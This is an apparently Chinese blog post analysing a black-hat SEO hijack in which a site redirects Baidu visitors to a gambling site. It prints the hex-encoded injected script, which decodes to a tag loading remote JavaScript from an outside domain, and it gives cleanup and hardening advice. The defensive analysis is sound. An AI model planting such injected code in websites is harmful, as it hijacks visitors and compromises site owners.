|
[dns被劫持怎么辦]詳解分析，解決黑帽seo劫持問題。網(wǎng)站從百度搜索進(jìn)去，首頁發(fā)生跳轉(zhuǎn)到菠菜網(wǎng)，開發(fā)公司的說可能是百度的問題，不是我們的問題，針對(duì)這個(gè)就想提一下，首先遇到問題就去分析問題，再去找出問題，然后解決問題，最后做好防范措施，而不是首先就想著推脫責(zé)任。
只需要看頭部代碼好熟悉，黑帽seo這行技術(shù)這幾年也沒什么創(chuàng)新，刪除這兩行就可以解決基本問題
如果是無法直接從首頁查看源碼的情況，那么在瀏覽器輸入view-source:www.baidutop321.com就可以查看網(wǎng)頁源碼
只需要看頭部代碼好熟悉，黑帽seo這行技術(shù)這幾年也沒什么創(chuàng)新，刪除這兩行就可以解決基本問題
這段意思就是判斷百度搜索訪問用戶進(jìn)行跳轉(zhuǎn)，你去360，搜狗搜索訪問肯定是不會(huì)發(fā)生跳轉(zhuǎn)的，然后我們?cè)賮斫庾詈笠欢未a
先進(jìn)行js解壓，得出結(jié)果
javascript代碼方式解密
1：\x64\x6f\x63\x75\x6d\x65\x6e\x74 結(jié)果 document
3:\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x62\x63\x64\x61\x73\x38\x2e\x63\x6f\x6d\x2f\x33\x36\x35\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e
到了這里整個(gè)過程已經(jīng)很清晰了，雖然我們刪除了這段代碼但只能暫時(shí)解決問題，需要找出webshell，做一個(gè)全面的網(wǎng)站和服務(wù)器安全策略，這種批量GetShell的基本上都是通過目前已經(jīng)開放的漏洞，所以相對(duì)還是比較容易處理。
大多數(shù)人對(duì)網(wǎng)站的理解還停留在視覺層面，網(wǎng)絡(luò)安全的重要性反而被忽視，任何公司都需要提高對(duì)網(wǎng)絡(luò)安全的重視。 |
